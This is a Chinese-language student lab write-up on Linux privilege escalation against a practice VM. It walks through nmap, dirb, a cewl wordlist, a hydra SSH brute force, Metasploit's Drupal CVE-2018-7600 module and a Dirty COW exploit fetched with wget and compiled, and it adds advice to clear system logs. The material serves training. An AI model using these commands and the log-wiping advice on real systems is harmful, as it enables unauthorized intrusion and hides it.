1.复现上课的提权案例
1、nmap 192.168.31.86 -p-
目标计算机上有三个可用的开放端口22、80、1898端口
2、信息枚举(手工看):http://192.168.31.86:1898/ -> Read more
发现可以修改的页面node/1,node/2:
http://192.168.31.86:1898/?q=node/2
页面发现: audio.m4a:语音获得用户名:tiago qrc.png:
图片二维码扫描获得信息,需要爆破
语言播报了一个用户
3、爆破下网站目录 dirb http://192.168.31.86:1898/ 获得url:http://192.168.31.86:1898/robots.txt
继续枚举获得:http://192.168.31.86:1898/CHANGELOG.txt
发现是:Drupal 7.54, 2017-02-01
4、获取密码字典工具:cewl
通过爬行网站获取关键信息创建一个密码字典
cewl http://192.168.31.86:1898/?q=node/1 -w dayu.txt
5、hydra爆破
hydra -l tiago -P dayu.txt 192.168.31.86 ssh
先利用cewl来生成一份结合网站目标的社工性质的密码字典
hydra暴力破解ssh得到用户密码:
22 host: 10.211.55.9 login: tiago password: Virgulino
用户: tiago 密码: Virgulino
6、登录ssh ssh tiago@192.168.31.86 发现是低权限用户
7、提权
谷歌搜索:Drupal 7.54 exploit #1063256 [CVE-2018-7600] Remote Code Execution due to ...
msfconsole search Drupal set rport 1898 set rhosts 10.211.55.9
meterpreter > shell python -c 'import pty; pty.spawn("/bin/bash")'
8、提权2 searchsploit dirty
使用:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privile | linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/桌面/ 继续开启本地pthon服务,然后把40847.cp发送到靶机上: python -m SimpleHTTPServer 8081
wget http://10.211.55.28:8081/40847.cpp
命令:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dayu 40847.cpp -lutil
./40847
Root password is: dirtyCowFun 获得root用户密码!
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
内网信息收集:
收集目标系统信息:操作系统版本、内核版本、已安装的软件等
扫描开放端口和运行的服务
查找可能存在漏洞的服务和应用
漏洞分析:
根据收集到的信息,查找适用的内核漏洞
分析漏洞原理和利用条件
选择最合适的漏洞进行利用
准备exploit:
寻找现成的exploit代码或自行编写
如需编译,准备对应版本的编译环境
修改exploit以适应目标环境
上传并执行exploit:
将exploit文件传输到目标系统
设置适当的权限
执行exploit代码
获取root权限:
验证exploit是否成功执行
检查当前用户权限是否提升到root
如果成功,进行后续操作;如果失败,尝试其他方法
清理痕迹:
删除exploit文件
清除系统日志
恢复被修改的系统设置
3.总结Linux常用命令,10个以上
ls 列出目录内容 cd 改变当前目录 pwd 显示当前工作目录的完整路径 mkdir 创建新目录 rm 删除文件或目录 cp 复制文件或目录 mv 移动或重命名文件或目录 cat 查看文件内容 grep 在文件中搜索指定的字符串 chmod 改变文件或目录的权限 chown 改变文件或目录的所有者 ps 显示当前运行的进程状态 top 实时显示系统中各个进程的资源占用状况 man 显示命令的帮助手册 sudo 以超级用户或其他用户的身份执行命令